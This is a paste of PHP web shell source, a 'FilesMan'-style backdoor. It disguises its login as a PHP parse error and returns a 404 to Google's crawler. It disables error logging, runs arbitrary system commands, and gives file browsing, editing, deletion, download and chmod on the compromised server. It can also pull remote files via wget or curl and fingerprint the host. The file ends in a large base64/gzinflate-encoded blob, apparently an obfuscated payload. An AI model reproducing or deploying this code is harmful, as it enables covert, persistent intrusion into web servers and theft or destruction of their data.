· 10 years ago · Apr 03, 2016, 06:57 AM
1$auth_pass = "71a4d4cd2f30b185d707718273b17d05";
2$color = "#df5";
3$default_action = 'FilesMan';
4$default_use_ajax = true;
5$default_charset = 'Windows-1251';
6@define('SELF_PATH', __FILE__);
7@setcookie("inject", "active", time() + 3600 * 24 * 7);
8if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
9 header('HTTP/1.0 404 Not Found');
10
11}
12@session_start();
13@error_reporting(0);
14@ini_set('error_log',NULL);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@ini_set('output_buffering',0);
18@ini_set('display_errors', 0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('VERSION', '2.1');
22if( get_magic_quotes_gpc() ) {
23 function stripslashes_array($array) {
24 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
25 }
26 $_POST = stripslashes_array($_POST);
27}
28function printLogin() {
29 ?>
30
31<br />
32<b>Parse error</b>: syntax error, unexpected '}' in <b>/home/<?=$_SERVER['HTTP_HOST']?>/</b> on line <b>4366</b><br />
33
34
35 <style>
36 input { margin:0;background-color:#fff;border:1px solid #fff; }
37 </style>
38 <center>
39 <form method=post>
40 <input type=password name=pass>
41 </form></center>
42 <?php
43 exit;
44}
45if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
46 if( empty( $auth_pass ) ||
47 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
48 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
49 else
50 printLogin();
51
52@ini_set('log_errors',0);
53@ini_set('output_buffering',0);
54if(isset($_GET['dl']) && ($_GET['dl'] != "")){
55 $file = $_GET['dl'];
56 $filez = @file_get_contents($file);
57 header("Content-type: application/octet-stream");
58 header("Content-length: ".strlen($filez));
59 header("Content-disposition: attachment; filename=\"".basename($file)."\";");
60 echo $filez;
61 exit;
62}
63elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
64 $file = $_GET['dlgzip'];
65 $filez = gzencode(@file_get_contents($file));
66 header("Content-Type:application/x-gzip\n");
67 header("Content-length: ".strlen($filez));
68 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
69 echo $filez;
70 exit;
71}
72// view image
73if(isset($_GET['img'])){
74 @ob_clean();
75 $d = magicboom($_GET['y']);
76 $f = $_GET['img'];
77 $inf = @getimagesize($d.$f);
78 $ext = explode($f,".");
79 $ext = $ext[count($ext)-1];
80 @header("Content-type: ".$inf["mime"]);
81 @header("Cache-control: public");
82 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
83 @header("Cache-control: max-age=".(60*60*24*7));
84 @readfile($d.$f);
85 exit;
86}
87
88// server software
89$software = getenv("SERVER_SOFTWARE");
90// check safemode
91if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
92// uname -a
93$system = @php_uname();
94// mysql
95function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
96function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
97function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
98function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
99function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
100// check os
101if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
102else $win = FALSE;
103// change directory
104if(isset($_GET['y'])){
105 if(@is_dir($_GET['view'])){
106 $pwd = $_GET['view'];
107 @chdir($pwd);
108 }
109 else{
110 $pwd = $_GET['y'];
111 @chdir($pwd);
112 }
113}
114//hdd
115function convertByte($s) {
116if($s >= 1073741824)
117return sprintf('%1.2f',$s / 1073741824 ).' GB';
118elseif($s >= 1048576)
119return sprintf('%1.2f',$s / 1048576 ) .' MB';
120elseif($s >= 1024)
121return sprintf('%1.2f',$s / 1024 ) .' KB';
122else
123return $s .' B';
124}
125
126// username, id, shell prompt and working directory
127if(!$win){
128 if(!$user = rapih(exe("whoami"))) $user = "";
129 if(!$id = rapih(exe("id"))) $id = "";
130 $prompt = $user." \$ ";
131 $pwd = @getcwd().DIRECTORY_SEPARATOR;
132}
133else {
134 $user = @get_current_user();
135 $id = $user;
136 $prompt = $user." >";
137 $pwd = realpath(".")."\\";
138 // find drive letters
139 $v = explode("\\",$d);
140 $v = $v[0];
141 foreach (range("A","Z") as $letter)
142 {
143 $bool = @is_dir($letter.":\\");
144 if ($bool)
145 {
146 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
147 if ($letter.":" != $v) {$letters .= $letter;}
148 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
149 $letters .= " ]</a> ";
150 }
151 }
152}
153
154function testoracle() {
155 if (function_exists('ocilogon')) { return showstat("on"); }
156 else { return showstat("off"); }
157 }
158
159function testmssql() {
160 if (function_exists('mssql_connect')) { return showstat("on"); }
161 else { return showstat("off"); }
162 }
163
164 function showdisablefunctions() {
165 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
166 else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
167 }
168
169if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
170else $posix = FALSE;
171// server ip
172$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
173// your ip ;-)
174$my_ip = $_SERVER['REMOTE_ADDR'];
175$admin_id=$_SERVER['SERVER_ADMIN'];
176$bindport = "13123";
177$bindport_pass = "j4kr4pp";
178
179// separate the working direcotory
180$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
181$pwdurl = "";
182for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
183 $pathz = "";
184 for($j = 0 ; $j <= $i ; $j++){
185 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
186 }
187 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
188}
189
190// rename file or folder
191if(isset($_POST['rename'])){
192 $old = $_POST['oldname'];
193 $new = $_POST['newname'];
194 @rename($pwd.$old,$pwd.$new);
195 $file = $pwd.$new;
196}
197if(isset($_POST['chmod'])){
198 $name = $_POST['name'];
199 $value = $_POST['newvalue'];
200if (strlen($value)==3){
201 $value = 0 . "" . $value;}
202 @chmod($pwd.$name,octdec($value));
203 $file = $pwd.$name;}
204
205if(isset($_POST['chmod_folder'])){
206 $name = $_POST['name'];
207 $value = $_POST['newvalue'];
208if (strlen($value)==3){
209 $value = 0 . "" . $value;}
210 @chmod($pwd.$name,octdec($value));
211 $file = $pwd.$name;}
212
213
214// print useful info
215$buff = "Software : <b>".$software."</b><br />";
216$buff .= "System OS : <b>".$system."</b><br />";
217if($id != "") $buff .= "ID : <b>".$id."</b><br />";
218$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
219$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
220$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
221if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
222else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
223$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
224$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
225$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
226
227
228
229
230function rapih($text){
231 return trim(str_replace("<br />","",$text));
232}
233
234function magicboom($text){
235 if (!get_magic_quotes_gpc()) {
236 return $text;
237 }
238 return stripslashes($text);
239}
240
241function showdir($pwd,$prompt){
242 $fname = array();
243 $dname = array();
244 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
245 else $posix = FALSE;
246 $user = "????:????";
247 if($dh = @scandir($pwd)){
248 foreach($dh as $file){
249 if(is_dir($file)){
250 $dname[] = $file;
251 }
252 elseif(is_file($file)){
253 $fname[] = $file;
254 }
255 }
256 }
257 else{
258 if($dh = @opendir($pwd)){
259 while($file = @readdir($dh)){
260 if(@is_dir($file)){
261 $dname[] = $file;
262 }
263 elseif(@is_file($file)){
264 $fname[] = $file;
265 }
266 }
267 @closedir($dh);
268 }
269 }
270
271
272 sort($fname);
273 sort($dname);
274 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
275 $tree = @sizeof($path);
276 $parent = "";
277 $buff = "
278 <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
279 <table class=\"explore\">
280 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
281
282 ";
283 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
284 else $parent = $pwd;
285
286 foreach($dname as $folder){
287 if($folder == ".") {
288 if(!$win && $posix){
289 $name=@posix_getpwuid(@fileowner($folder));
290 $group=@posix_getgrgid(@filegroup($folder));
291 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
292 }
293 else {
294 $owner = $user;
295 }
296 $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
297 <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
298 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
299
300 <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
301 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
302 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
303 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
304 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
305 </form></td>
306
307 </tr>
308
309 ";
310 }
311 elseif($folder == "..") {
312 if(!$win && $posix){
313 $name=@posix_getpwuid(@fileowner($folder));
314 $group=@posix_getgrgid(@filegroup($folder));
315 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
316 }
317 else {
318 $owner = $user;
319 }
320 $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
321 <td style=\"text-align:center;\">".$owner."</td>
322 <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
323
324 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
325 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
326 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
327 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
328 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
329 </form>
330 </td></tr>";
331 }
332 else {
333 if(!$win && $posix){
334 $name=@posix_getpwuid(@fileowner($folder));
335 $group=@posix_getgrgid(@filegroup($folder));
336 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
337 }
338 else {
339 $owner = $user;
340 }
341 $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
342
343 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
344 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
345 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
346 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
347 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
348 </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
349 <td><center>
350 <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
351
352 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
353 <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
354 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
355 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
356 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
357 onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
358 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
359 }
360 }
361
362 foreach($fname as $file){
363 $full = $pwd.$file;
364 if(!$win && $posix){
365 $name=@posix_getpwuid(@fileowner($folder));
366 $group=@posix_getgrgid(@filegroup($folder));
367 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
368 }
369 else {
370 $owner = $user;
371 }
372 $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
373
374 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
375 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
376 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
377 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
378 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
379 </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
380 <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
381
382 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
383<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
384<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
385<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
386<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
387 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
388 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
389 }
390 $buff .= "</table>";
391 return $buff;
392}
393
394function ukuran($file){
395 if($size = @filesize($file)){
396 if($size <= 1024) return $size;
397 else{
398 if($size <= 1024*1024) {
399 $size = @round($size / 1024,2);;
400 return "$size kb";
401 }
402 else {
403 $size = @round($size / 1024 / 1024,2);
404 return "$size mb";
405 }
406 }
407 }
408 else return "???";
409}
410
411function exe($cmd){
412 if(function_exists('system')) {
413 @ob_start();
414 @system($cmd);
415 $buff = @ob_get_contents();
416 @ob_end_clean();
417 return $buff;
418 }
419 elseif(function_exists('exec')) {
420 @exec($cmd,$results);
421 $buff = "";
422 foreach($results as $result){
423 $buff .= $result;
424 }
425 return $buff;
426 }
427 elseif(function_exists('passthru')) {
428 @ob_start();
429 @passthru($cmd);
430 $buff = @ob_get_contents();
431 @ob_end_clean();
432 return $buff;
433 }
434 elseif(function_exists('shell_exec')){
435 $buff = @shell_exec($cmd);
436 return $buff;
437 }
438}
439
440function tulis($file,$text){
441 $textz = gzinflate(base64_decode($text));
442 if($filez = @fopen($file,"w"))
443 {
444 @fputs($filez,$textz);
445 @fclose($file);
446 }
447}
448
449function ambil($link,$file) {
450 if($fp = @fopen($link,"r")){
451 while(!feof($fp)) {
452 $cont.= @fread($fp,1024);
453 }
454 @fclose($fp);
455 $fp2 = @fopen($file,"w");
456 @fwrite($fp2,$cont);
457 @fclose($fp2);
458 }
459}
460
461function which($pr){
462 $path = exe("which $pr");
463 if(!empty($path)) { return trim($path); } else { return trim($pr); }
464}
465
466function download($cmd,$url){
467 $namafile = basename($url);
468 switch($cmd) {
469 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
470 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
471 case 'wfread' : ambil($wurl,$namafile);break;
472 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
473 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
474 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
475 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
476 default: break;
477 }
478 return $namafile;
479}
480
481function get_perms($file)
482{
483 if($mode=@fileperms($file)){
484 $perms='';
485 $perms .= ($mode & 00400) ? 'r' : '-';
486 $perms .= ($mode & 00200) ? 'w' : '-';
487 $perms .= ($mode & 00100) ? 'x' : '-';
488 $perms .= ($mode & 00040) ? 'r' : '-';
489 $perms .= ($mode & 00020) ? 'w' : '-';
490 $perms .= ($mode & 00010) ? 'x' : '-';
491 $perms .= ($mode & 00004) ? 'r' : '-';
492 $perms .= ($mode & 00002) ? 'w' : '-';
493 $perms .= ($mode & 00001) ? 'x' : '-';
494 return $perms;
495 }
496 else return "??????????";
497}
498
499function clearspace($text){
500 return str_replace(" ","_",$text);
501}
502$wpress="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";
